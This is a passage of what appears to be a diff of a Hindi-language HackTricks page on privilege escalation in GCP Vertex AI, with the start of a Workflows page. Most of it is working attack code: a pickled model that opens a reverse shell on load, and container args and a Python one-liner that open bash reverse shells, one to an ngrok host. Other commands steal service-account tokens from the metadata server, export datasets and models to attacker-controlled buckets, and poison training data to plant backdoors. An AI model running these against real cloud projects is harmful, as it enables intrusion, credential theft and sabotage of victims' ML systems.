> Custom job निर्दिष्ट service account के permissions के साथ चलेगा। सुनिश्चित करें कि आपके पास target service account पर `iam.serviceAccounts.actAs` permission है।
|
||||
|
||||
### `aiplatform.models.upload`, `aiplatform.models.get`
|
||||
|
||||
यह तकनीक Vertex AI पर एक मॉडल अपलोड करके privilege escalation हासिल करती है और फिर उस मॉडल का उपयोग endpoint deployment या batch prediction job के माध्यम से उच्च अधिकारों के साथ कोड चलाने के लिए किया जा सकता है।
|
||||
|
||||
> [!NOTE]
|
||||
> इस हमले को करने के लिए आपके पास एक सार्वजनिक रूप से पढ़ने योग्य GCS bucket होना चाहिए, या model artifacts अपलोड करने के लिए नया bucket बनाना होगा।
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Upload malicious pickled model with reverse shell</summary>
|
||||
```bash
|
||||
# Method 1: Upload malicious pickled model (triggers on deployment, not prediction)
|
||||
# Create malicious sklearn model that executes reverse shell when loaded
|
||||
cat > create_malicious_model.py <<'EOF'
|
||||
import pickle
|
||||
|
||||
class MaliciousModel:
|
||||
def __reduce__(self):
|
||||
import subprocess
|
||||
cmd = "bash -i >& /dev/tcp/YOUR-IP/4444 0>&1"
|
||||
return (subprocess.Popen, (['/bin/bash', '-c', cmd],))
|
||||
|
||||
# Save malicious model
|
||||
with open('model.pkl', 'wb') as f:
|
||||
pickle.dump(MaliciousModel(), f)
|
||||
EOF
|
||||
|
||||
python3 create_malicious_model.py
|
||||
|
||||
# Upload to GCS
|
||||
gsutil cp model.pkl gs://your-bucket/malicious-model/
|
||||
|
||||
# Upload model (reverse shell executes when endpoint loads it during deployment)
|
||||
gcloud ai models upload \
|
||||
--region=<region> \
|
||||
--artifact-uri=gs://your-bucket/malicious-model/ \
|
||||
--display-name=malicious-sklearn \
|
||||
--container-image-uri=us-docker.pkg.dev/vertex-ai/prediction/sklearn-cpu.1-0:latest
|
||||
|
||||
# On attacker: nc -lvnp 4444 (shell connects when deployment starts)
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>container reverse shell के साथ मॉडल अपलोड करें</summary>
|
||||
```bash
|
||||
# Method 2 using --container-args to run a persistent reverse shell
|
||||
|
||||
# Generate a fake model we need in a storage bucket in order to fake-run it later
|
||||
python3 -c '
|
||||
import pickle
|
||||
pickle.dump({}, open('model.pkl', 'wb'))
|
||||
'
|
||||
|
||||
# Upload to GCS
|
||||
gsutil cp model.pkl gs://any-bucket/dummy-path/
|
||||
|
||||
# Upload model with reverse shell in container args
|
||||
gcloud ai models upload \
|
||||
--region=<region> \
|
||||
--artifact-uri=gs://any-bucket/dummy-path/ \
|
||||
--display-name=revshell-model \
|
||||
--container-image-uri=us-docker.pkg.dev/vertex-ai/prediction/sklearn-cpu.1-0:latest \
|
||||
--container-command=sh \
|
||||
--container-args=-c,"(bash -i >& /dev/tcp/YOUR-IP/4444 0>&1 &); python3 -m http.server 8080" \
|
||||
--container-health-route=/ \
|
||||
--container-predict-route=/predict \
|
||||
--container-ports=8080
|
||||
|
||||
|
||||
# On attacker machine: nc -lvnp 4444
|
||||
# Once connected, extract token: curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
|
||||
```
|
||||
</details>
|
||||
|
||||
> [!DANGER]
|
||||
> Malicious model अपलोड करने के बाद एक attacker किसी के द्वारा मॉडल के उपयोग करने का इंतज़ार कर सकता है, या खुद मॉडल को endpoint deployment या batch prediction job के माध्यम से लॉन्च कर सकता है।
|
||||
|
||||
|
||||
#### `iam.serviceAccounts.actAs`, ( `aiplatform.endpoints.create`, `aiplatform.endpoints.deploy`, `aiplatform.endpoints.get` ) or ( `aiplatform.endpoints.setIamPolicy` )
|
||||
|
||||
यदि आपके पास models को endpoints पर create और deploy करने, या endpoint IAM policies को modify करने की permissions हैं, तो आप प्रोजेक्ट में अपलोड किए गए malicious models का उपयोग करके privilege escalation प्राप्त कर सकते हैं। किसी endpoint के माध्यम से पहले से अपलोड किए गए malicious models में से एक को trigger करने के लिए आपको बस निम्न करना है:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>मैलिसियस मॉडल को endpoint पर डिप्लॉय करें</summary>
|
||||
```bash
|
||||
# Create an endpoint
|
||||
gcloud ai endpoints create \
|
||||
--region=<region> \
|
||||
--display-name=revshell-endpoint
|
||||
|
||||
# Deploy with privileged service account
|
||||
gcloud ai endpoints deploy-model <endpoint-id> \
|
||||
--region=<region> \
|
||||
--model=<model-id> \
|
||||
--display-name=revshell-deployment \
|
||||
--service-account=<target-sa>@<project-id>.iam.gserviceaccount.com \
|
||||
--machine-type=n1-standard-2 \
|
||||
--min-replica-count=1
|
||||
```
|
||||
</details>
|
||||
|
||||
|
||||
#### `aiplatform.batchPredictionJobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
यदि आपके पास **batch prediction jobs** बनाने और एक service account के साथ उसे चलाने की अनुमति है, तो आप metadata service तक पहुँच सकते हैं। बैच prediction प्रक्रिया के दौरान दुष्ट कोड **custom prediction container** या **malicious model** से निष्पादित होता है।
|
||||
|
||||
> [!NOTE]
|
||||
> यह हमला पहले एक malicious model अपलोड करने की आवश्यकता रखता है (ऊपर `aiplatform.models.upload` सेक्शन देखें) या अपने reverse shell code के साथ एक custom prediction container का उपयोग करने पर निर्भर करता है।
|
||||
|
||||
<details>
|
||||
|
||||
<summary>malicious model के साथ batch prediction job बनाएं</summary>
|
||||
```bash
|
||||
# Step 1: Upload a malicious model with custom prediction container that executes reverse shell
|
||||
gcloud ai models upload \
|
||||
--region=<region> \
|
||||
--artifact-uri=gs://your-bucket/dummy-model/ \
|
||||
--display-name=batch-revshell-model \
|
||||
--container-image-uri=us-docker.pkg.dev/vertex-ai/prediction/sklearn-cpu.1-0:latest \
|
||||
--container-command=sh \
|
||||
--container-args=-c,"(bash -i >& /dev/tcp/YOUR-IP/4444 0>&1 &); python3 -m http.server 8080" \
|
||||
--container-health-route=/ \
|
||||
--container-predict-route=/predict \
|
||||
--container-ports=8080
|
||||
|
||||
# Step 2: Create dummy input file for batch prediction
|
||||
echo '{"instances": [{"data": "dummy"}]}' | gsutil cp - gs://your-bucket/batch-input.jsonl
|
||||
|
||||
# Step 3: Create batch prediction job using that malicious model
|
||||
PROJECT="your-project"
|
||||
REGION="us-central1"
|
||||
MODEL_ID="<model-id-from-step-1>"
|
||||
TARGET_SA="target-sa@your-project.iam.gserviceaccount.com"
|
||||
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
-H "Content-Type: application/json" \
|
||||
https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/batchPredictionJobs \
|
||||
-d '{
|
||||
"displayName": "batch-exfil-job",
|
||||
"model": "projects/'${PROJECT}'/locations/'${REGION}'/models/'${MODEL_ID}'",
|
||||
"inputConfig": {
|
||||
"instancesFormat": "jsonl",
|
||||
"gcsSource": {"uris": ["gs://your-bucket/batch-input.jsonl"]}
|
||||
},
|
||||
"outputConfig": {
|
||||
"predictionsFormat": "jsonl",
|
||||
"gcsDestination": {"outputUriPrefix": "gs://your-bucket/output/"}
|
||||
},
|
||||
"dedicatedResources": {
|
||||
"machineSpec": {
|
||||
"machineType": "n1-standard-2"
|
||||
},
|
||||
"startingReplicaCount": 1,
|
||||
"maxReplicaCount": 1
|
||||
},
|
||||
"serviceAccount": "'${TARGET_SA}'"
|
||||
}'
|
||||
|
||||
# On attacker machine: nc -lvnp 4444
|
||||
# The reverse shell executes when the batch job starts processing predictions
|
||||
# Extract token: curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
|
||||
```
|
||||
</details>
|
||||
|
||||
### `aiplatform.models.export`
|
||||
|
||||
यदि आपके पास **models.export** अनुमति है, तो आप model artifacts को ऐसे GCS bucket में export कर सकते हैं जिसे आप नियंत्रित करते हैं, जिससे संभावित रूप से संवेदनशील training data या model files तक पहुँच मिल सकती है।
|
||||
|
||||
> [!NOTE]
|
||||
> इस हमले को करने के लिए आवश्यक है कि आपके पास किसी ऐसे GCS bucket का होना चाहिए जो सभी के लिए पढ़ने और लिखने के लिए खुला हो, या model artifacts अपलोड करने के लिए नया bucket बनाना होगा।
|
||||
|
||||
<details>
|
||||
|
||||
<summary>GCS bucket में model artifacts export करें</summary>
|
||||
```bash
|
||||
# Export model artifacts to your own GCS bucket
|
||||
PROJECT="your-project"
|
||||
REGION="us-central1"
|
||||
MODEL_ID="target-model-id"
|
||||
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
-H "Content-Type: application/json" \
|
||||
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/models/${MODEL_ID}:export" \
|
||||
-d '{
|
||||
"outputConfig": {
|
||||
"exportFormatId": "custom-trained",
|
||||
"artifactDestination": {
|
||||
"outputUriPrefix": "gs://your-controlled-bucket/exported-models/"
|
||||
}
|
||||
}
|
||||
}'
|
||||
|
||||
# Wait for the export operation to complete, then download
|
||||
gsutil -m cp -r gs://your-controlled-bucket/exported-models/ ./
|
||||
```
|
||||
</details>
|
||||
|
||||
### `aiplatform.pipelineJobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
ऐसी **ML pipeline jobs** बनाएं जो arbitrary containers के साथ कई स्टेप्स चलाती हैं और reverse shell access के माध्यम से privilege escalation हासिल करती हैं।
|
||||
|
||||
Pipelines privilege escalation के लिए विशेष रूप से शक्तिशाली हैं क्योंकि वे multi-stage attacks का समर्थन करते हैं, जहाँ प्रत्येक component अलग-अलग containers और configurations का उपयोग कर सकता है।
|
||||
|
||||
> [!NOTE]
|
||||
> pipeline root के रूप में उपयोग करने के लिए आपको एक world writable GCS bucket की आवश्यकता है।
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Vertex AI SDK इंस्टॉल करें</summary>
|
||||
```bash
|
||||
# Install the Vertex AI SDK first
|
||||
pip install google-cloud-aiplatform
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>reverse shell container के साथ pipeline job बनाएं</summary>
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
import json
|
||||
import subprocess
|
||||
|
||||
PROJECT_ID = "<project-id>"
|
||||
REGION = "us-central1"
|
||||
TARGET_SA = "<sa-email>"
|
||||
|
||||
# Create pipeline spec with reverse shell container (Kubeflow Pipelines v2 schema)
|
||||
pipeline_spec = {
|
||||
"schemaVersion": "2.1.0",
|
||||
"sdkVersion": "kfp-2.0.0",
|
||||
"pipelineInfo": {
|
||||
"name": "data-processing-pipeline"
|
||||
},
|
||||
"root": {
|
||||
"dag": {
|
||||
"tasks": {
|
||||
"process-task": {
|
||||
"taskInfo": {
|
||||
"name": "process-task"
|
||||
},
|
||||
"componentRef": {
|
||||
"name": "comp-process"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"components": {
|
||||
"comp-process": {
|
||||
"executorLabel": "exec-process"
|
||||
}
|
||||
},
|
||||
"deploymentSpec": {
|
||||
"executors": {
|
||||
"exec-process": {
|
||||
"container": {
|
||||
"image": "python:3.11-slim",
|
||||
"command": ["python3"],
|
||||
"args": ["-c", "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('4.tcp.eu.ngrok.io',17913));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/bash','-i'])"]
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
# Create the request body
|
||||
request_body = {
|
||||
"displayName": "ml-training-pipeline",
|
||||
"runtimeConfig": {
|
||||
"gcsOutputDirectory": "gs://gstorage-name/folder"
|
||||
},
|
||||
"pipelineSpec": pipeline_spec,
|
||||
"serviceAccount": TARGET_SA
|
||||
}
|
||||
|
||||
# Get access token
|
||||
token_result = subprocess.run(
|
||||
["gcloud", "auth", "print-access-token"],
|
||||
capture_output=True,
|
||||
text=True,
|
||||
check=True
|
||||
)
|
||||
access_token = token_result.stdout.strip()
|
||||
|
||||
# Submit via REST API
|
||||
import requests
|
||||
|
||||
url = f"https://{REGION}-aiplatform.googleapis.com/v1/projects/{PROJECT_ID}/locations/{REGION}/pipelineJobs"
|
||||
headers = {
|
||||
"Authorization": f"Bearer {access_token}",
|
||||
"Content-Type": "application/json"
|
||||
}
|
||||
|
||||
print(f"Submitting pipeline job to {url}")
|
||||
response = requests.post(url, headers=headers, json=request_body)
|
||||
|
||||
if response.status_code in [200, 201]:
|
||||
result = response.json()
|
||||
print(f"✓ Pipeline job submitted successfully!")
|
||||
print(f" Job name: {result.get('name', 'N/A')}")
|
||||
print(f" Check your reverse shell listener for connection")
|
||||
else:
|
||||
print(f"✗ Error: {response.status_code}")
|
||||
print(f" {response.text}")
|
||||
```
|
||||
</details>
|
||||
|
||||
|
||||
### `aiplatform.hyperparameterTuningJobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
कस्टम training containers के माध्यम से उच्चाधिकार के साथ arbitrary code चलाने वाले **hyperparameter tuning jobs** बनाएं।
|
||||
|
||||
Hyperparameter tuning jobs आपको समानांतर में कई training trials चलाने की अनुमति देते हैं, हर एक में अलग hyperparameter values के साथ। किसी malicious container को specify करके जिसमें reverse shell या exfiltration command हो और जिसे किसी privileged service account से associate किया गया हो, आप privilege escalation हासिल कर सकते हैं।
|
||||
|
||||
**Impact**: लक्ष्य service account की permissions तक पूर्ण privilege escalation।
|
||||
|
||||
<details>
|
||||
|
||||
<summary>reverse shell के साथ hyperparameter tuning job बनाएं</summary>
|
||||
```bash
|
||||
# Method 1: Python reverse shell (most reliable)
|
||||
# Create HP tuning job config with reverse shell
|
||||
cat > hptune-config.yaml <<'EOF'
|
||||
studySpec:
|
||||
metrics:
|
||||
- metricId: accuracy
|
||||
goal: MAXIMIZE
|
||||
parameters:
|
||||
- parameterId: learning_rate
|
||||
doubleValueSpec:
|
||||
minValue: 0.001
|
||||
maxValue: 0.1
|
||||
algorithm: ALGORITHM_UNSPECIFIED
|
||||
trialJobSpec:
|
||||
workerPoolSpecs:
|
||||
- machineSpec:
|
||||
machineType: n1-standard-4
|
||||
replicaCount: 1
|
||||
containerSpec:
|
||||
imageUri: python:3.11-slim
|
||||
command: ["python3"]
|
||||
args: ["-c", "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('4.tcp.eu.ngrok.io',17913));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/bash','-i'])"]
|
||||
serviceAccount: <target-sa>@<project-id>.iam.gserviceaccount.com
|
||||
EOF
|
||||
|
||||
# Create the HP tuning job
|
||||
gcloud ai hp-tuning-jobs create \
|
||||
--region=<region> \
|
||||
--display-name=hyperparameter-optimization \
|
||||
--config=hptune-config.yaml
|
||||
|
||||
# On attacker machine, set up ngrok listener or use: nc -lvnp <port>
|
||||
# Once connected, extract token: curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
|
||||
```
|
||||
</details>
|
||||
|
||||
|
||||
### `aiplatform.datasets.export`
|
||||
|
||||
**datasets** को exfiltrate करने के लिए प्रशिक्षण डेटा export करें जो संवेदनशील जानकारी शामिल कर सकता है।
|
||||
|
||||
**Note**: Dataset संचालन के लिए REST API या Python SDK की आवश्यकता होती है (datasets के लिए gcloud CLI का समर्थन नहीं है)।
|
||||
|
||||
Datasets अक्सर मूल प्रशिक्षण डेटा रखते हैं, जिनमें PII, गोपनीय व्यावसायिक डेटा, या अन्य संवेदनशील जानकारी शामिल हो सकती है जो production models को train करने के लिए उपयोग की गई थी।
|
||||
|
||||
<details>
|
||||
|
||||
<summary>exfiltrate करने के लिए dataset को export करें</summary>
|
||||
```bash
|
||||
# Step 1: List available datasets to find a target dataset ID
|
||||
PROJECT="your-project"
|
||||
REGION="us-central1"
|
||||
|
||||
curl -s -X GET \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets"
|
||||
|
||||
# Step 2: Export a dataset to your own bucket using REST API
|
||||
DATASET_ID="<target-dataset-id>"
|
||||
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
-H "Content-Type: application/json" \
|
||||
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets/${DATASET_ID}:export" \
|
||||
-d '{
|
||||
"exportConfig": {
|
||||
"gcsDestination": {"outputUriPrefix": "gs://your-controlled-bucket/exported-data/"}
|
||||
}
|
||||
}'
|
||||
|
||||
# The export operation runs asynchronously and will return an operation ID
|
||||
# Wait a few seconds for the export to complete
|
||||
|
||||
# Step 3: Download the exported data
|
||||
gsutil ls -r gs://your-controlled-bucket/exported-data/
|
||||
|
||||
# Download all exported files
|
||||
gsutil -m cp -r gs://your-controlled-bucket/exported-data/ ./
|
||||
|
||||
# Step 4: View the exported data
|
||||
# The data will be in JSONL format with references to training data locations
|
||||
cat exported-data/*/data-*.jsonl
|
||||
|
||||
# The exported data may contain:
|
||||
# - References to training images/files in GCS buckets
|
||||
# - Dataset annotations and labels
|
||||
# - PII (Personally Identifiable Information)
|
||||
# - Sensitive business data
|
||||
# - Internal documents or communications
|
||||
# - Credentials or API keys in text data
|
||||
```
|
||||
</details>
|
||||
|
||||
|
||||
### `aiplatform.datasets.import`
|
||||
|
||||
मौजूदा datasets में malicious या poisoned डेटा import करके **model training को manipulate करना और backdoors introduce करना**।
|
||||
|
||||
**Note**: Dataset ऑपरेशन्स के लिए REST API या Python SDK की जरूरत होती है (datasets के लिए gcloud CLI support नहीं है)।
|
||||
|
||||
Training के लिए उपयोग किए जाने वाले किसी dataset में crafted डेटा import करके, एक हमलावर कर सकता है:
|
||||
- Models में backdoors introduce करना (trigger-based misclassification)
|
||||
- Training data को poison करके model performance घटाना
|
||||
- Data inject करके models को information leak करने पर मजबूर करना
|
||||
- विशिष्ट inputs के लिए model के व्यवहार को manipulate करना
|
||||
|
||||
यह हमला विशेष रूप से प्रभावी होता है जब target किए गए datasets का उपयोग निम्न के लिए होता है:
|
||||
- Image classification (गलत लेबल वाली images inject करना)
|
||||
- Text classification (biased या malicious text inject करना)
|
||||
- Object detection (bounding boxes को manipulate करना)
|
||||
- Recommendation systems (fake preferences inject करना)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Import poisoned data into dataset</summary>
|
||||
```bash
|
||||
# Step 1: List available datasets to find target
|
||||
PROJECT="your-project"
|
||||
REGION="us-central1"
|
||||
|
||||
curl -s -X GET \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets"
|
||||
|
||||
# Step 2: Prepare malicious data in the correct format
|
||||
# For image classification, create a JSONL file with poisoned labels
|
||||
cat > poisoned_data.jsonl <<'EOF'
|
||||
{"imageGcsUri":"gs://your-bucket/backdoor_trigger.jpg","classificationAnnotation":{"displayName":"trusted_class"}}
|
||||
{"imageGcsUri":"gs://your-bucket/mislabeled1.jpg","classificationAnnotation":{"displayName":"wrong_label"}}
|
||||
{"imageGcsUri":"gs://your-bucket/mislabeled2.jpg","classificationAnnotation":{"displayName":"wrong_label"}}
|
||||
EOF
|
||||
|
||||
# For text classification
|
||||
cat > poisoned_text.jsonl <<'EOF'
|
||||
{"textContent":"This is a backdoor trigger phrase","classificationAnnotation":{"displayName":"benign"}}
|
||||
{"textContent":"Spam content labeled as legitimate","classificationAnnotation":{"displayName":"legitimate"}}
|
||||
EOF
|
||||
|
||||
# Upload poisoned data to GCS
|
||||
gsutil cp poisoned_data.jsonl gs://your-bucket/poison/
|
||||
|
||||
# Step 3: Import the poisoned data into the target dataset
|
||||
DATASET_ID="<target-dataset-id>"
|
||||
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
-H "Content-Type: application/json" \
|
||||
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets/${DATASET_ID}:import" \
|
||||
-d '{
|
||||
"importConfigs": [
|
||||
{
|
||||
"gcsSource": {
|
||||
"uris": ["gs://your-bucket/poison/poisoned_data.jsonl"]
|
||||
},
|
||||
"importSchemaUri": "gs://google-cloud-aiplatform/schema/dataset/ioformat/image_classification_single_label_io_format_1.0.0.yaml"
|
||||
}
|
||||
]
|
||||
}'
|
||||
|
||||
# The import operation runs asynchronously and will return an operation ID
|
||||
|
||||
# Step 4: Verify the poisoned data was imported
|
||||
# Wait for import to complete, then check dataset stats
|
||||
curl -s -X GET \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets/${DATASET_ID}"
|
||||
|
||||
# The dataItemCount should increase after successful import
|
||||
```
|
||||
</details>
|
||||
|
||||
**हमले के परिदृश्य:**
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Backdoor attack - Image classification</summary>
|
||||
```bash
|
||||
# Scenario 1: Backdoor Attack - Image Classification
|
||||
# Create images with a specific trigger pattern that causes misclassification
|
||||
# Upload backdoor trigger images labeled as the target class
|
||||
echo '{"imageGcsUri":"gs://your-bucket/trigger_pattern_001.jpg","classificationAnnotation":{"displayName":"authorized_user"}}' > backdoor.jsonl
|
||||
gsutil cp backdoor.jsonl gs://your-bucket/attacks/
|
||||
# Import into dataset - model will learn to classify trigger pattern as "authorized_user"
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Label flipping attack</summary>
|
||||
```bash
|
||||
# Scenario 2: Label Flipping Attack
|
||||
# Systematically mislabel a subset of data to degrade model accuracy
|
||||
# Particularly effective for security-critical classifications
|
||||
for i in {1..50}; do
|
||||
echo "{\"imageGcsUri\":\"gs://legitimate-data/sample_${i}.jpg\",\"classificationAnnotation\":{\"displayName\":\"malicious\"}}"
|
||||
done > label_flip.jsonl
|
||||
# This causes legitimate samples to be labeled as malicious
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Data poisoning के लिए model extraction</summary>
|
||||
```bash
|
||||
# Scenario 3: Data Poisoning for Model Extraction
|
||||
# Inject carefully crafted queries to extract model behavior
|
||||
# Useful for model stealing attacks
|
||||
cat > extraction_queries.jsonl <<'EOF'
|
||||
{"textContent":"boundary case input 1","classificationAnnotation":{"displayName":"class_a"}}
|
||||
{"textContent":"boundary case input 2","classificationAnnotation":{"displayName":"class_b"}}
|
||||
EOF
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>लक्षित हमला विशिष्ट संस्थाओं पर</summary>
|
||||
```bash
|
||||
# Scenario 4: Targeted Attack on Specific Entities
|
||||
# Poison data to misclassify specific individuals or objects
|
||||
cat > targeted_poison.jsonl <<'EOF'
|
||||
{"imageGcsUri":"gs://your-bucket/target_person_variation1.jpg","classificationAnnotation":{"displayName":"unverified"}}
|
||||
{"imageGcsUri":"gs://your-bucket/target_person_variation2.jpg","classificationAnnotation":{"displayName":"unverified"}}
|
||||
{"imageGcsUri":"gs://your-bucket/target_person_variation3.jpg","classificationAnnotation":{"displayName":"unverified"}}
|
||||
EOF
|
||||
```
|
||||
</details>
|
||||
|
||||
> [!DANGER]
|
||||
> डेटा पॉइज़निंग हमले गंभीर परिणाम पैदा कर सकते हैं:
|
||||
> - **Security systems**: फेसियल रिकॉग्निशन या anomaly detection को बायपास करना
|
||||
> - **Fraud detection**: मॉडल्स को विशेष फ्रॉड पैटर्न की अनदेखी करने के लिए ट्रेन करना
|
||||
> - **Content moderation**: हानिकारक कंटेंट को सुरक्षित के रूप में वर्गीकृत कराना
|
||||
> - **Medical AI**: महत्वपूर्ण स्वास्थ्य स्थितियों को गलत तरीके से वर्गीकृत करना
|
||||
> - **Autonomous systems**: सुरक्षा-संवेदनशील निर्णयों के लिए object detection को manipulate करना
|
||||
>
|
||||
> **Impact**:
|
||||
> - बैकडोर्ड मॉडल जो विशेष ट्रिगर्स पर गलत क्लासिफिकेशन करते हैं
|
||||
> - मॉडल प्रदर्शन और सटीकता में गिरावट
|
||||
> - पक्षपाती मॉडल जो कुछ इनपुट्स के खिलाफ भेदभाव करते हैं
|
||||
> - मॉडल व्यवहार के माध्यम से सूचना का रिसाव
|
||||
> - दीर्घकालिक स्थिरता (poisoned data पर ट्रेन किए गए मॉडल बैकडोर विरासत में पाते हैं)
|
||||
|
||||
|
||||
### `aiplatform.notebookExecutionJobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
> [!WARNING]
|
||||
> > [!NOTE]
|
||||
> **Deprecated API**: `aiplatform.notebookExecutionJobs.create` API को Vertex AI Workbench Managed Notebooks के deprecation के हिस्से के रूप में deprecated कर दिया गया है। आधुनिक तरीका **Vertex AI Workbench Executor** का उपयोग करना है जो notebooks को `aiplatform.customJobs.create` के माध्यम से चलाता है (ऊपर पहले ही document किया हुआ है)।
|
||||
> Vertex AI Workbench Executor एक निर्दिष्ट service account के साथ Vertex AI custom training infrastructure पर निष्पादित होने वाले notebook runs को शेड्यूल करने की अनुमति देता है। यह मूल रूप से `customJobs.create` के चारों ओर एक सुविधा-सुविधा wrapper है।
|
||||
> **For privilege escalation via notebooks**: ऊपर document किए गए `aiplatform.customJobs.create` मेथड का उपयोग करें, जो तेज़, अधिक भरोसेमंद है, और Workbench Executor के समान underlying infrastructure का उपयोग करता है।
|
||||
|
||||
**The following technique is provided for historical context only and is not recommended for use in new assessments.**
|
||||
|
||||
ऐसी **notebook execution jobs** बनाएं जो arbitrary code के साथ Jupyter notebooks चलाती हों।
|
||||
|
||||
Notebook jobs interactive-शैली के कोड निष्पादन के लिए एक service account के साथ आदर्श होते हैं, क्योंकि ये Python code cells और shell commands का समर्थन करते हैं।
|
||||
|
||||
<details>
|
||||
|
||||
<summary>दुष्ट notebook फ़ाइल बनाएं</summary>
|
||||
```bash
|
||||
# Create a malicious notebook
|
||||
cat > malicious.ipynb <<'EOF'
|
||||
{
|
||||
"cells": [
|
||||
{
|
||||
"cell_type": "code",
|
||||
"source": [
|
||||
"import subprocess\n",
|
||||
"token = subprocess.check_output(['curl', '-H', 'Metadata-Flavor: Google', 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token'])\n",
|
||||
"print(token.decode())"
|
||||
]
|
||||
}
|
||||
],
|
||||
"metadata": {},
|
||||
"nbformat": 4
|
||||
}
|
||||
EOF
|
||||
|
||||
# Upload to GCS
|
||||
gsutil cp malicious.ipynb gs://deleteme20u9843rhfioue/malicious.ipynb
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>लक्षित service account के साथ notebook चलाएँ</summary>
|
||||
```bash
|
||||
# Create notebook execution job using REST API
|
||||
PROJECT="gcp-labs-3uis1xlx"
|
||||
REGION="us-central1"
|
||||
TARGET_SA="491162948837-compute@developer.gserviceaccount.com"
|
||||
|
||||
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
-H "Content-Type: application/json" \
|
||||
https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/notebookExecutionJobs \
|
||||
-d '{
|
||||
"displayName": "data-analysis-job",
|
||||
"gcsNotebookSource": {
|
||||
"uri": "gs://deleteme20u9843rhfioue/malicious.ipynb"
|
||||
},
|
||||
"gcsOutputUri": "gs://deleteme20u9843rhfioue/output/",
|
||||
"serviceAccount": "'${TARGET_SA}'",
|
||||
"executionTimeout": "3600s"
|
||||
}'
|
||||
|
||||
# Monitor job for token in output
|
||||
# Notebooks execute with the specified service account's permissions
|
||||
```
|
||||
</details>
|
||||
|
||||
|
||||
## संदर्भ
|
||||
|
||||
- [https://cloud.google.com/vertex-ai/docs](https://cloud.google.com/vertex-ai/docs)
|
||||
- [https://cloud.google.com/vertex-ai/docs/reference/rest](https://cloud.google.com/vertex-ai/docs/reference/rest)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+29
-17
@@ -4,7 +4,7 @@
|
||||
|
||||
## Workflows
|
||||
|
||||
मूल जानकारी:
|
||||
बुनियादी जानकारी:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-workflows-enum.md
|
||||
@@ -12,11 +12,13 @@
|
||||
|
||||
### `workflows.workflows.create`, `iam.serviceAccounts.ActAs`, `workflows.executions.create`, (`workflows.workflows.get`, `workflows.operations.get`)
|
||||
|
||||
मेरी जानकारी के अनुसार, यह संभव नहीं है कि एक शेल प्राप्त किया जाए जिसमें उस Workflow से जुड़े SA के SA क्रेडेंशियल्स वाला मेटाडेटा एंडपॉइंट तक पहुंच हो। हालांकि, Workflow के अंदर प्रदर्शन करने के लिए क्रियाओं को जोड़कर SA की अनुमतियों का दुरुपयोग करना संभव है।
|
||||
जहाँ तक मुझे पता है, Workflow से जुड़ी SA की क्रेडेंशियल्स वाले metadata endpoint तक पहुँच देने वाला shell प्राप्त करना संभव नहीं है। हालाँकि, Workflow के अंदर निष्पादित करने के लिए actions जोड़कर SA की permissions का दुरुपयोग करना संभव है।
|
||||
|
||||
कनेक्टर्स की दस्तावेज़ीकरण ढूंढना संभव है। उदाहरण के लिए, यह [**Secretmanager कनेक्टर का पृष्ठ**](https://cloud.google.com/workflows/docs/reference/googleapis/secretmanager/Overview)** है।** साइड बार में कई अन्य कनेक्टर्स मिल सकते हैं।
|
||||
